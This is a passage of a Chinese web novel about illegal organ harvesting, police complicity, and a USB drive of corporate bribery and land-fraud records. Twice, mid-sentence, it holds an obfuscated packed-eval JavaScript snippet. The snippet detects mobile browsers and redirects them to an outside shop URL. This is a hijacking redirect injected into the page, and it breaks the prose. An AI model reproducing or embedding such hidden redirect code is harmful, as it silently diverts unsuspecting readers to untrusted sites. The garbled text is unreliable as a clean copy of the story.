我猛地掏出手机,屏幕的冷光在黑暗中刺痛了我的眼睛。我几乎是凭借着本能,按下了一串号码——不是普通的110,而是我之前因为顾远的案子,存下的马东,那个市刑侦支队副队长的私人手机号。 电话接通了,响了几声后,被接起。 “喂?”马东的声音带着浓重的睡意和被吵醒的不耐烦,背景音很安静。 “马队!是我!沈默!”我的声音因为急促和恐惧而尖锐变形,“我现在在城西废弃工业区这边!有个黑诊所!他们在搞非法器官移植!一个老人,金卫国,刚刚被他们弄进去了!他们要摘他的肾!这是谋杀!你们快派人来!” 我语无伦次地、用最快的速度将地点和情况吼了出来。 电话那头,陷入了沉默。 不是几秒钟,而是长达十几秒的、令人窒息的死寂。只能听到马东那边极其细微的、平稳的呼吸声。 这沉默,像一盆冰水,从头到脚浇了我一个透心凉。 “马队?你听到了吗?位置我发给你!快派人来啊!”我焦急地催促,心脏几乎要跳出喉咙。 终于,马东开口了。他的声音不再是睡意朦胧,而是带着一种极其复杂的、混合了疲惫、无奈和某种……近乎警告的沉重。 “小沈……”他叫了我的名字,语气缓慢得让人心焦,“你说的那个地方……我知道。” 我知道。这三个字,像三根冰冷的针,扎进了我的耳膜。他知道?他竟然知道这个黑诊所的存在?! “有些事……”马东的声音更加低沉,带着一种仿佛背负着千斤重担的沙哑,“……不是你该管的,你也管不了。” 我的大脑“嗡”的一声,一片空白。 “听我一句劝,”他继续说道,语气里带着一种近乎残忍的“为你着想”,“别把自己……也搭进去。” 然后,不等我再有任何反应,电话里传来了“嘟—嘟—嘟—”的忙音。 他挂了。他不仅拒绝出警,他甚至……默许了这一切的发生?! 我举着手机,僵在驾驶座上,浑身冰冷,血液仿佛都在这一刻凝固了。马东那短短几句话,像一把钝刀,在我心里反复切割。他不是不知道,他不是无能为力,他是……不能管?还是不愿管?抑或是……他也身处那张巨大的、无形的网中? 连警察……连最后的、理论上应该主持公义的力量,都选择了沉默和纵容? 这个认知带来的绝望,远比老金即将被摘除器官本身,更加深沉,更加彻底。它意味着,这套吞噬弱者的系统,不仅仅是几个黑心中介和地下诊所在运作,它的根系,可能已经渗透到了我无法想象的层面。 完了。老金完了。 我瘫在驾驶座上,手机从无力的手中滑落,掉在脚垫上。眼前一阵阵发黑。我甚至能想象出此刻诊所里正在发生的情景:简陋的手术台,昏暗的无影灯,未经严格消毒的器械,还有那些冷漠的、如同屠夫般的“医生”……老金躺在那里,为了那虚无缥缈的三十万,任凭宰割…… 时间一分一秒地流逝,每一秒都像一个世纪般漫长。废弃的厂区死寂得可怕,只有风吹过破败门窗发出的、如同呜咽般的声响。 不知过了多久,也许是一个小时,也许是更久。 那扇诊所的大门,再次“吱嘎”一声被推开了。 我的心脏猛地收缩,几乎停止了跳动。 只见那个之前推搡老金的男人率先走了出来,他拍了拍手,仿佛刚完成一项肮脏的工作。紧接着,另外两人架着一个人影,跟踉跄跄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016452|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走了出来。 老金几乎是被人半拖半拽着出来的。他整个人蜷缩着,像一只被煮熟的虾米,双手死死地捂着自己的右侧腰部,指缝间,隐约可以看到渗出、染红了破旧工装的暗红色血迹!他的头低垂着,脸隐藏在阴影里,但我能看到他全身都在无法控制地剧烈颤抖,喉咙里发出压抑不住的、断断续续的、如同破风箱般的痛苦呻吟。 那三个人像扔一袋垃圾一样,将老金粗暴地扔在了诊所门口冰冷、肮脏的水泥地上。 老金发出一声沉闷的痛哼,身体蜷缩得更紧,呻吟声变得更加凄厉。 那个领头的男人蹲下身,从口袋里掏出一沓钞票,不是厚厚的三十叠,而是薄薄的、看起来顶多几千块钱。他像施舍乞丐一样,将那沓钱随手扔在了老金的脸旁。 “喏,三千块,营养费。”男人的声音带着毫不掩饰的轻蔑和冷酷,“拿了钱赶紧滚!别死在这儿晦气!” 三千块……不是三十万。是三千块。老金用一个肾,一个维系着他基本健康和劳动能力的器官,换来的,仅仅是三千块的所谓“营养费”! 我看到老金的身体剧烈地抽搐了一下,他挣扎着,似乎想抬起头,想看清那沓钱,想质问,想嘶吼……但他太虚弱了,太痛苦了,所有的努力都只化作更加剧烈的颤抖和从喉咙深处溢出的、如同濒死小兽般的哀鸣。他伸出一只沾着血污和泥土的手,颤抖着,想要去抓住那沓钱,那用他半条命换来的、微不足道的“希望”…… 那三个人不再看他,转身走向面包车,发动,离开。尾灯再次亮起,像嘲讽的眼睛,迅速消失在黑暗的夜色中。 诊所门口,只剩下老金一个人,像一团被遗弃的、还在微微抽搐的破布,蜷缩在冰冷的土地上,捂着不断渗血的腰部,发出无声的、或者说被这无边黑夜吞噬了的哀嚎。那沓三千块的钞票,散落在他身边,像祭奠的纸钱。 我坐在破捷达里,浑身冰冷,手脚麻木。隔着百米远的距离,我仿佛能闻到那浓重的血腥味,能听到老金那绝望到极致的呻吟。 我报了警。我以为我是对的。我以为我能救他。可我的“好心”,我的“正确”,换来的,却是马东那冰冷的警告,是老金被残忍地摘除器官后像垃圾一样丢弃在路边,是那从三十万缩水到三千块的、充满了无尽嘲讽的“营养费”。 我不仅没能阻止这场悲剧,我他妈的……我他妈的还加速了它!如果我当时强行拦住他,如果我当时没有打那个无用的报警电话,如果他不是在那种简陋肮脏的环境下被草草手术……也许,也许结果不会比现在更好,但至少……至少不会是因为我的“介入”而变成这样! 我的“善意”,我那点可怜的、自以为是的正义感,成了压垮这头早已不堪重负的骆驼的、最后一根稻草。 它让老金,不仅失去了一个肾。 更失去了他作为一个人,一个父亲,最后的、渺茫的,却支撑着他活下去的…… 希望。 我趴在方向盘上,额头抵着冰冷塑料,胃里一阵翻江倒海,最终什么也没吐出来,只有无声的、绝望的泪水,混合着屈辱和巨大的无力感,汹涌而出,灼烧着我早已千疮百孔的脸颊。 16. 害了老金 破捷达仿佛也承载了过量的绝望,引擎在深夜空旷的街道上发出愈发沉闷的嘶吼,像一头垂死野兽的喘息。副驾驶座上,老金蜷缩着,每一次颠簸都引发他身体一阵剧烈的痉挛和从喉咙深处挤压出的、不成声的痛哼。浓重的血腥味、汗臭味和一种类似消毒水却又混杂着污浊的气息,充斥在狭小的车厢内,令人作呕。 我紧握着方向盘,目光死死盯着前方被车灯切割开的黑暗,不敢侧头去看他。视线却无法控制地一次次扫过车内后视镜——镜子里,老金那张因极度痛苦而扭曲、灰败如纸的脸,时隐时现。他双手依旧死死捂着右侧腰部,指缝间不断渗出的暗红色血液已经浸透了那件破烂的工装,并在肮脏的座椅上洇开一小片粘稠的、正在凝固的深色痕迹。 三千块钱。那几张皱巴巴、沾着泥土和血污的纸币,散落在他脚边,象是对他此刻惨状最恶毒的嘲讽,也象是对我那愚蠢“报警”行为最尖锐的控诉。 我的脚将油门踩到了底,破车发出不堪重负的轰鸣,冲向距离那片废弃工业区最近的一家二甲医院。我知道,去大医院我根本负担不起,而这里,或许还能挣扎一下。 急诊室的灯光惨白刺眼,与门外浓重的夜色形成残酷对比。值班的护士看到我半拖半抱、弄进来一个浑身是血、奄奄一息的老人时,脸上先是掠过一丝职业性的惊讶,随即迅速被一种见怪不怪的麻木所取代。她们熟练地接过手,将老金安置在移动病床上,推进了处置室。 “怎么回事?”一个戴着口罩、眼神疲惫的年轻医生一边戴上手套,一边例行公事地问询,语气平淡得像在问天气。 “他……他摔倒了,撞到腰了……”我听到自己干涩的声音在撒谎,舌头像打了结。我不能说出真相,那会引来更多我无法应付的麻烦,甚至可能把马东也牵扯进来。 医生瞥了我一眼,那眼神似乎洞悉了一切,却又懒得深究。他示意护士剪开老金腰间的衣物。 当那粗糙、沾满污垢的工装和里面早已被血浸透的汗衫被剪开,露出下面狰狞的伤口时,尽管早有心理准备,我还是倒吸了一口冷气,胃里一阵翻江倒海。 那根本不是什么摔倒的擦伤!在右侧腰部后方的位置,一道长约十公分、歪歪扭扭的切口赫然在目!切口边缘参差不齐,象是被什么不锋利的器械粗暴地割开,皮肉外翻,露出下面暗红色的组织。最令人头皮发麻的是,切口只是被用几道粗糙的、象是订书钉一样的金属钉仓促地闭合着,钉孔周围的组织肿胀发炎,不断地有混着组织液的暗红色血液渗出。整个伤口周围是大片的青紫色瘀斑,一直蔓延到背部,显然手术过程极其粗暴,并且术后没有任何像样的处理和止血。 这哪里是手术?这分明是屠宰!是活体取物! 年轻的医生眉头紧锁,低声骂了句极其难听的脏话。“胡搞!这他妈是哪个畜生干的!”他迅速吩咐护士准备清创缝合包、抗生素和止血剂。 处置室里,灯光聚焦在那恐怖的伤口上。医生用镊子小心翼翼地处理着那些粗糙的金属钉,老金的身体随着每一次触碰而剧烈颤抖,喉咙里发出压抑不住的、如同被堵住嘴的野兽般的呜咽。汗水、血水和消毒药水混合在一起,气味令人窒息。我看着那狰狞的伤口,看着医生从里面清理出细小的、疑似衣物纤维的异物,看着那不断涌出的鲜血……仿佛能透过这具颤抖的躯体,看到几个小时前,在那间肮脏的黑诊所里,他是如何被按在简陋的手术台上,如何在没有足够麻醉的情况下,被活生生切开身体,取走了维系他健康的器官…… 而我,就在门外。无能为力。甚至……还他妈的帮了倒忙! 处理过程漫长而折磨。清创,重新缝合,注射抗生素和破伤风针……老金始终没有昏过去,他的意志力或者说求生的本能,顽强得可怕,却也悲惨得可怕。他死死咬着牙,额头上青筋暴起,汗水浸透了他花白的头发,但除了那无法控制的、从喉咙深处溢出的痛苦呻吟,他自始至终,没有说过一个字,没有流过一滴眼泪。 仿佛所有的情绪,所有的希望,连同那个被强行取走的器官,都一起被遗弃在了那间黑诊所冰冷的地面上。 终于,处理暂时告一段落。老金被推到了一间拥挤的、充斥着各种病人和家属嘈杂声的普通病房。他需要住院观察,防止感染和更严重的并发症。 我拖着如同灌了铅的双腿,去缴费处办理手续。当收费员报出那一连串的数字时,我感觉自己的心脏都停止了跳动。押金、处置费、药费、住院费……我那干瘪的钱包,连同散落在车里的那沾着血的三千块“营养费”一起,被彻底掏空,甚至还差一些。我几乎是掏空了身上每一个口袋,才勉强凑齐了这第一笔费用。 捏着那几张轻飘飘的收费单据,我感觉它们重若千钧,上面似乎都沾着老金的血和我那廉价“善意”的肮脏气味。 我回到病房。老金被安排在最里面靠墙的一张病床上。他静静地躺在那里,身上盖着洗得发白的医院被子,露在外面的手臂上打着点滴,透明的液体一滴滴流入他干枯的血管。病房里灯光昏暗,其他床位的病人和家属发出的各种声响——咳嗽、呻吟、交谈、鼾声——构成了一个混乱的背景音,却更衬得他那一角的死寂。 我走到床边,拉过一张破旧的方凳坐下。 他睁着眼睛,直勾勾地望着天花板上那块因为渗水而泛黄、剥落的污渍。眼神里没有任何内容,没有痛苦,没有愤怒,没有悲伤,甚至没有茫然……只有一片彻底的、令人心悸的空洞。仿佛他的灵魂已经随着那个被摘除的肾脏,一起离开了这具还在呼吸的躯壳。 他的脸在昏暗的光线下,呈现出一种灰败的土色,深刻的皱纹像干涸河床的裂痕,里面嵌满了洗不掉的污垢和疲惫。一夜之间,他仿佛又苍老了二十岁。 “老金……”我开口,声音嘶哑得象是被砂纸磨过,“感觉……好点了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016453|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没有回应。他甚至没有眨一下眼睛,依旧定定地望着天花板,仿佛那里藏着什么宇宙的奥秘,或者只是……一片虚无。 “钱……我先垫上了。”我艰难地继续说道,感觉每个字都像在抽打自己的脸,“你……安心养着,贝贝那边……我会想办法……” 听到“贝贝”两个字,他的眼球极其轻微地动了一下,但也仅仅是一下。随即,那点微弱的波动便消失了,重新归于死寂。连女儿的名字,都无法再唤起他丝毫的生气。 我知道,我彻底毁了他。我毁掉的,不仅仅是他的一个肾,不仅仅是他本就岌岌可危的健康。 我毁掉的,是他作为一个父亲,最后一点能够凭借自身力量去拯救女儿的、悲壮而惨烈的希望。我毁掉了他活在世上最后的意义和支撑。 我那可笑的、自以为是的“报警”,非但没有阻止悲剧,反而可能因为惊动了对方,导致手术仓促进行,条件更加恶劣,让他承受了更多不必要的痛苦和风险。而我垫付的这点医药费,对他来说,不过是延长了这具行尸走肉般躯体的痛苦,不过是把绝望的刑期,又往后拖延了几天而已。 等他出院了呢?他失去了一个肾,意味着他连捡废品这种最底层的体力活,都可能无法再胜任。他拿什么去支付贝贝接下来天文数字般的药费?那三千块?那连一个月的基础药费都不够! 我把他从一个深渊,拖入了另一个更深、更黑暗、更加看不到任何光亮的深渊。 我这个烂人……我这个彻头彻尾的、愚蠢的、自以为是的烂人! 顾远因我,或许是我的出现,或者我未能及时察觉他的危险而间接走向死亡?我的出租屋因我的调查而被毁?现在,老金又因为我的“好心”干预,而落得如此下场! 每一次,我伸出手,想要抓住什么,想要改变什么,换来的都是更深的黑暗,更彻底的毁灭。我就像一颗灾星,我所到之处,只会带来不幸和更深的绝望。 我坐在冰冷的方凳上,看着病床上那个眼神空洞、仿佛已经死去的老人,一股巨大的、冰冷的自我憎恶感,像浓稠的沥青,从四面八方涌来,将我紧紧包裹,拖入无底的黑暗。 我甚至没有资格在这里陪着他。我的存在本身,就是对他最大的讽刺和伤害。 我缓缓站起身,凳子腿在粗糙的水泥地面上刮出刺耳的声响。老金依旧没有任何反应。 我张了张嘴,想说点什么,最终却什么也说不出来。任何语言,在此刻,都是虚伪的,都是噪音。 我默默地转身,像逃离瘟疫一样,逃离了这间充斥着痛苦与绝望的病房,逃离了那个被我亲手“帮助”成了活死人的老金。 走廊里冰冷的灯光照在我身上,投下一条长长的、扭曲的、如同我此刻灵魂般的阴影。 我知道,我又一次,用我那廉价而愚蠢的“善意”,犯下了不可饶恕的罪。而这一次的罪孽,沉重得让我几乎无法呼吸。 17. 钥匙 医院的自动玻璃门在我身后合拢,将那股混合着消毒水、疾病和绝望的浓重气息短暂隔绝。但我知道,那气味,连同老金那双空洞死寂的眼睛,已经像某种腐蚀性的物质,深深烙印在我的感官和灵魂里,无法剥离。 室外,天色是那种城市黎明前最肮脏的灰蓝色,象是被稀释的墨汁泼洒过,透着一股精疲力尽的颓败。空气冰冷而潮湿,钻进我单薄的夹克里,却远不及我内心的寒意刺骨。街灯还在徒劳地亮着,光线昏黄,照在空无一人的街道和偶尔疾驰而过的、像幽灵般的早班车上。 我靠在冰冷粗糙的医院外墙上,点着一支烟。手指不受控制地微微颤抖,火柴划了几次才点燃。辛辣的烟雾吸入肺部,带来一丝虚假的暖意和熟悉的麻痹感,却无法驱散那深入骨髓的疲惫与自我厌恶。 老金躺在病床上那毫无生气的模样,在我眼前挥之不去。他那被粗暴缝合的伤口,那散落在地上的、沾着血污的三千块钱,马东电话里那冰冷的警告……这一切交织成一张巨大而绝望的网,而我,不仅是网中的困兽,更可笑地、可悲地,成了织就这张网的一部分线头。 我这个烂人。这个走到哪里,就把灾难和毁灭带到哪里的灾星。 顾远,老金……下一个会是谁?苏晚?还是我自己? 香烟燃尽,灼热的过滤嘴烫到手指,我才猛地惊醒,将烟蒂扔在地上,用鞋底狠狠碾灭,仿佛碾死一只令人憎恶的虫子。无处可去。 出租屋已经不再是庇护所,而是一个被暴力侵犯过、充满了不祥记忆的废墟。老金那里……我甚至没有勇气再踏足那个比防空洞还不如的棚屋,去面对金贝贝那双过于早熟、过于平静的眼睛。我会在她那澄澈的注视下彻底崩溃。 那么,还能去哪里?还能做什么? 难道就这样,像一具真正的行尸走肉,在这座冷漠城市的街头游荡,直到被哪只无形的手彻底抹去,如同从未存在过? 一个冰冷而坚硬的物体,隔着牛仔裤的布料,硌在我的大腿外侧。是那把钥匙。 那把从防空洞铁盒里找到的、顾远用生命留下的、不知用途的黄铜钥匙。 它像一枚埋在我□□里的、沉默的引信。在经历了“夜泊”的羞辱、住所的被毁、老金的惨剧之后,这枚引信非但没有被磨平,反而因为周遭愈加深沉的黑暗,而显得愈发突兀和……迫切。 顾远到底想告诉我什么?他拼着最后一口气,留下这把钥匙,指向的究竟是什么?是那个“不能动的账本”?还是揭开他死亡真相的最终答案?抑或是……一个更加庞大、更加恐怖的黑暗核心? 我不知道。但我很清楚,如果我此刻放弃,如果我像只受惊的兔子般蜷缩起来,那么顾远的死将毫无意义,老金的牺牲也将变得如同尘埃般轻贱。而我,将永远活在“是我害死了他们”的无尽梦魇和自我唾弃中。 与其那样,不如……不如沿着这条顾远用生命铺就的、充满荆棘和陷阱的路,一直走到黑。走到真相大白,或者,走到我像他一样,变成某栋高楼下的又一滩模糊血肉。这个念头带着一种自毁般的快意和决绝,像最后一点微弱的肾上腺素,注入了我疲惫不堪的躯体。 我直起身,深吸了一口这黎明前最污浊寒冷的空气,走向那辆停在街角、同样疲惫不堪的破捷达。 发动,驶离。我需要找到一个地方,一个能使用电脑、能读取U盘,我几乎下意识地断定,钥匙对应的储物柜里,会是一个U盘,同时又相对隐蔽、不易被追踪的地方。网吧?太公开,摄像头太多。图书馆?手续繁琐,可能留下记录。 最终,我想起了一个地方——城南的一个数码城,那里充斥着各种二手电脑和维修摊位,鱼龙混杂,现金交易,不问来历。那里有一种独特的、属于电子垃圾和灰色地带的“隐私”。 破捷达在逐渐苏醒的城市街道上穿行。早高峰尚未开始,但城市的庞大机器已经开始了预热,清扫车、运输车、零星早起的人们……一切都按部就班,秩序井然,仿佛昨夜发生在城西废弃厂区那肮脏诊所里的一切,以及此刻正躺在医院病床上眼神空洞的老金,都只是平行时空里无关紧要的杂音。 这种“正常”与我所经历的“异常”之间的割裂感,让我感到一阵阵恶心。 我先去了数码城附近,找到一家开门极早的、专门配钥匙的小店。我将那把黄铜钥匙递给老师傅,谎称是公司文件柜的备用钥匙,丢了主钥匙,需要根据这把配一把新的。老师傅戴着老花镜,在昏暗的灯光下仔细看了看钥匙的齿纹,嘟囔了一句“这款式有些年头了”,然后便开始操作机器。刺耳的切割声在清晨的寂静中格外清晰。 等待配钥匙的时候,我站在店门口,看着街道上逐渐增多的人流和车流。每个人都行色匆匆,脸上挂着被生活设定的程序化表情——焦虑,麻木,或者一丝虚妄的期待。他们知道这座城市光鲜的表皮之下,流淌着怎样的脓血吗?他们关心吗? 或许不。生存本身,已经耗尽了大多数人所有的力气和同情心。 配好钥匙,我驱车前往市中心。那把钥匙对应的,根据钥匙柄上极其模糊、几乎被磨平的刻痕,以及我凭借对这座城市老旧建筑的了解,推测很可能是在市中心一栋名为“兴业大厦”的、早已过了黄金期、里面挤满了各种皮包公司和培训机构的老旧写字楼。顾远刚毕业时,似乎曾在那里的一家公司短暂实习过。 兴业大厦灰扑扑地矗立在繁华街角,与周围光鲜亮丽的玻璃幕墙大厦格格不入,像一个穿着破旧中山装、蜷缩在角落里的老人。大堂昏暗,地面瓷砖破损,空气中弥漫着陈旧的灰尘和复印机墨粉的味道。前台空无一人,只有一个监控摄像头闪着微弱的红光。 我压低帽檐,避开摄像 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这就是顾远用生命守护的东西?这就是他留下的、可能指向赵承德、指向“凤凰计划”、指向那个“不能动的账本”的关键证据? 我伸出手,指尖触碰到U盘冰凉的塑料外壳。那冰冷的触感,仿佛带着顾远临死前的寒意,顺着我的指尖,瞬间蔓延至全身。 我没有立刻拿起它。而是盯着它,看了足足有一分钟。 我知道,一旦我拿起这个U盘,一旦我读取了里面的内容,我就再也没有回头路了。我将真正踏入那片连马东都不敢轻易涉足的、布满致命陷阱的雷区。 但是,我还有选择吗?从顾远死去的那一刻起,从我发现那部旧手机的那一刻起,从我决定“找出真相”的那个荒谬念头升起的那一刻起,我就已经踏上了这条不归路。 老金的血,不过是这条路上,一道新鲜而刺目的路标。我闭上眼睛,仿佛能听到顾远在耳边无声的催促,能看到老金在病床上空洞的眼神。 然后,我猛地伸出手,一把将那个黑色的U盘紧紧攥在手心。冰冷的,坚硬的,仿佛蕴含着无尽风暴的。 握紧它,我迅速关上储物柜门,锁好,然后转身,低着头,快步离开了兴业大厦那昏暗陈旧的大堂。 外面,天色亮了一些,但阳光被高楼切割得支离破碎,无法带来丝毫暖意。 我握着那个U盘,像握着一块灼热的火炭,走向破捷达。 下一个目的地——城南数码城。我要去找一个角落,一台可以匿名使用的旧电脑,去打开这个潘多拉的魔盒,看看里面究竟装着的是希望的微光,还是……更加深沉、足以将我彻底吞噬的黑暗。 我知道,陷阱可能已经布下。但我别无选择。只能,一脚踏进去。 18. 越陷越深 破捷达像一条疲惫的泥鳅,滑入城南数码城背后那条更加混乱、更加肮脏的巷子。这里与数码城正面的光鲜仿若两个世界。空气中弥漫着劣质油炸食品、积存污水和电子元件烧焦的混合气味。墙壁上贴满了层层叠叠、内容不堪入目的小广告,地面黏腻湿滑。一些挂着“高价回收”、“专业数据恢复”、“匿名上网”等暧昧招牌的小店零星开着门,灯光昏黄,像一只只窥探着阴暗角落的眼睛。 我找了一家看起来最不起眼、门面最深、灯光也最昏暗的网吧。招牌上的字迹已经模糊,只剩下“络”字还勉强可辨。推开发出吱呀怪响的玻璃门,一股浓烈的烟味、汗味和泡面调料包的咸腥味扑面而来,几乎让人窒息。 柜台后面坐着一个穿着油腻T恤、眼皮耷拉、正在手机上看低俗短视频的瘦削男人。他头也不抬,伸出两根手指。 “二十,包时。五十,包下午。现金。”声音象是从生锈的管道里挤出来的。 我掏出五十块钱现金,放在沾满污渍的玻璃柜台上。他这才懒洋洋地抬起眼皮,扫了我一眼,那眼神浑浊而麻木,没有任何探究的欲望。他收下钱,从抽屉里摸出一张写着机位号和临时密码的纸条,扔给我,然后又低头沉浸在他的短视频世界里。 很好。这就是我要的,彻底的漠不关心。 网吧内部比外面更加不堪。空间狭小逼仄,烟雾缭绕,像着了火。老旧的CRT显示器发出嗡嗡的噪音和闪烁不定的光线,映照着一张张年轻却同样麻木、沉浸在虚拟世界中的脸庞。键盘油腻不堪,鼠标垫上沾着不明污渍。空气中回荡着激烈的游戏音效、敲击键盘的噼啪声和偶尔的咒骂。 我找到那个靠墙的、最角落的机位,拉开那张吱呀作响、海绵都露出来的破旧电脑椅坐下。开机,老旧的硬盘发出艰难的读取声。屏幕亮起,进入一个被简化到极致、似乎与外界隔绝的本地系统。我按照纸条上的密码登录,一个极其简陋的桌面界面跳了出来。 很好,没有联网,或者至少看起来没有。这正合我意。 我深吸了一口这污浊得令人作呕的空气,仿佛在为自己积攒勇气。然后,从贴身口袋里,掏出了那个黑色的U盘。 它静静地躺在我掌心,冰冷,沉默,像一个来自深渊的信使。我知道,一旦插上去,就再也没有回头路了。这里面可能空无一物,可能只是一个恶作剧,也可能……是能将我,以及这座城市都炸得粉身碎骨的、真正的炸药。 顾远的脸,他最后那次喝酒时疲惫而决绝的眼神,他在音频里绝望的质问,还有他从高楼坠落时可能的恐惧与不甘……所有这些画面在我脑海中飞速闪过。 还有老金。他躺在病床上那空洞的眼神,腰侧那狰狞的伤口,散落在地上的、沾着血的三千块钱…… 不能再犹豫了。 我咬了咬牙,将U盘插入了主机箱前方一个磨损严重的USB接口。一声轻微的系统提示音。在我的电脑图标下,出现了一个新的可移动磁盘标志。 没有预想中的加密,没有复杂的文件夹结构。U盘里,只有一个孤零零的文件夹,名称简单直接,却带着一种冰冷的、不容置疑的力量——【证据】。 我的心脏猛地收缩了一下,手指因为紧张而有些僵硬。我移动鼠标,双击点开了那个文件夹。 里面,是更多分门别类的子文件夹。名称同样简洁,却一个比一个触目惊心: 【土地交易(非法)】 【资金往来(洗钱)】 【关系网(贿赂记录)】 【“凤凰计划”原始档案】 【其他(威胁、意外处理)】 每一个文件夹名称,都像一记重锤,狠狠砸在我的胸口。我感到一阵眩晕,呼吸变得困难。这不仅仅是线索,这是一个完整的、系统性的犯罪记录!顾远他……他到底在远大集团内部,挖掘到了多深的地方?! 我颤抖着手,首先点开了【土地交易(非法)】。 里面是大量的扫描文件、PDF文档和Excel表格。时间跨度长达十几年,从赵承德发家的初期一直到最近。一桩桩,一件件,触目惊心。 有通过伪造村民联名信、贿赂基层官员,以极低价格强行征收农田和宅基地的记录,上面清晰地列出了收款人的姓名、职务、金额,甚至还有模糊的银行转账截图。其中一份文件提到了一个叫“大王庄”的村子,强征过程中与村民发生冲突,导致一名老人突发心脏病死亡,事件被压了下去,赔偿金寥寥无几,文件末尾冷冰冰地标注着“处理完毕,无后续影响”。 有通过围标、串标,内定远大集团中标政府大型土地开发项目的内部会议纪要,参与会议的官员名字赫然在列。 有通过虚报拆迁成本、伪造补偿名单,大量套取国家补偿资金的详细账目,金额精确到分,后面附着虚假的签名和手印。 更有通过修改土地性质、提高容积率等非法手段,获取暴利的完整操作流程记录,其中牵扯到的规划、国土等部门的官员名单长得令人心惊。 这些冰冷的数据和文字背后,是无数被夺走家园、被碾碎生活的普通人,是像老金那样,在时代洪流中被轻易牺牲掉的、无声的尘埃。那个死在冲突中的老人,或许就是另一个“老金”。而这一切,都被简化成了表格里一个个冰冷的数字,成了赵承德帝国大厦地基下,一具具无人问津的白骨。 我强忍着呕吐的欲望,点开了【资金往来(洗钱)】。 这里更是眼花缭乱,却又条理清晰。通过空壳公司、海外账户、虚假贸易、地下钱庄……各种手段,将非法所得洗白,并输送到境外或转化为合法资产的完整链条。金额动辄数以亿计,涉及的银行、证券公司甚至包括一些看似正规的金融机构。每一笔资金的流向都记录得清清楚楚,像一条条隐藏在合法经济躯体内的、贪婪而肮脏的寄生虫。 然后,是【关系网(贿赂记录)】。 这是一个庞大的、令人窒息的名录。从市级官员到省级要员,从银行高管到媒体负责人,从司法系统到学术圈……一个个名字,一串串数字,一次次“心意”往来的时间、地点、方式(现金、古董、字画、子女留学、境外账户),甚至还有一些隐秘的、涉及性贿赂的录音文件摘要。这不仅仅是一份贿赂记录,更是一张将这座城市方方面面权力节点都编织在内的、巨大的、无形的网。每一个名字,都像这张网上的一个结点,享受着由远大集团输送的利益,同时也成为保护这个利益集团最坚固的屏障。 马东的名字没有出现。魏公的名字,以一种更加隐晦的方式,出现在几笔流向海外某基金的大额资金备注里,被称为“魏先生”。苏晚的名字,出现在一些早期的、用于打通特定关系的“特殊招待费”记录中,备注是“赵董安排”。 最后,我点开了那个名为【“凤凰计划”原始档案】的文件夹。 这里面,是更加原始、也更加血腥的记录。时间集中在二十年前,正是赵承德完成原始积累的关键时期。不仅仅是强拆和土地掠夺,里面还包含了: 竞争对手的“意外”:几个当时与远大集团竞标重要地块的小开发商,先后因“税务问题”、“安全事故”或负责人“突发疾病”而退出,档案里附着一些模糊的照片和内部通讯记录,暗示着这些“意外”背后的人为操作。 钉子户的“消失”:除了我之前在防空洞墙壁上看到的那些刻痕所暗示的,还有几份语焉不详的“处理报告”,提到某些“顽固分子”被“说服”或“安置”,但后续再无记录。其中一份报告边缘,有人用笔写了一句“已彻底安静”,那笔迹,与赵承德在一些文件上的签名有几分相似。 早期工人的“补偿”:一些在“凤凰计划”工地因“安全事故”死亡或重伤的农民工,其家属拿到极其微薄的“补偿金”后便被威胁离开的记录,上面还有威胁者的代号和方式。 这哪里是什么“凤凰计划”,这分明是“秃鹫计划”!是一场建立在鲜血、欺骗和暴力之上的、赤裸裸的掠夺!那个死在冲突中的老人,那些“消失”的钉子户,那些被草草打发的伤残工人……他们都是这只“凤凰”腾飞时,被踩在脚下、碾成粉末的燃料! 而那个【其他(威胁、意外处理)】文件夹,我甚至没有勇气点开。光是名字就足以让人想象里面记录着多少肮脏的勾当,多少被威胁、被恐吓、甚至被“意外”掉的生命。顾远的名字,或许最终也会出现在这个文件夹的某个新增记录里。 我瘫坐在破旧的电脑椅上,浑身冰冷,汗水已经浸透了我后背的衣衫。心脏在胸腔里疯狂跳动,却感觉不到一丝暖意,只有一种近乎休克的冰冷和麻木。 屏幕上的光标还在某个贿赂记录的文件上闪烁着,那个接受贿赂的官员名字,我甚至在本地新闻里见过,是以“清廉实干”著称的。 我终于明白了。我终于明白顾远为什么会死。他不是因为工作压力,不是因为心理脆弱。 他是因为看到了这台庞大、精密、冷酷的吞噬机器内部最真实的运转!他是因为触碰了那个由无数非法交易、贿赂网络和血腥历史构筑而成的、绝对不能动的“账本”! 这个U盘里的东西,一旦公之于众,足以让这座城市引以为傲的经济奇迹蒙上最厚重的阴影,足以让无数光鲜亮丽的“精英”和“功臣”身败名裂,锒铛入狱!足以引发一场波及范围极广的、毁灭性的地震! 他挡了太多人的路,断了太多人的财路,威胁了太多人的身家性命! 所以,他必须死。而且必须死得“合情合理”,死得无声无息。 “高空坠落”,“工作压力过大”……多么完美,多么冰冷的借口。 我看着屏幕上那些密密麻麻的数据、那些熟悉又陌生的名字、那些隐藏在数字背后的血泪与冤魂……一股巨大的、混合着愤怒、恐惧、恶心和一种近乎绝望的清醒,像海啸般席卷了我。 我拿到了真相。顾远用生命换来的、血淋淋的真相。可是,然后呢?我能做什么? 把这些交给警察?马东那冰冷的警告言犹在耳。交给媒体?谁敢发?谁能发?恐怕消息还没出去,我自己就已经“被自杀”或者“被意外”了。 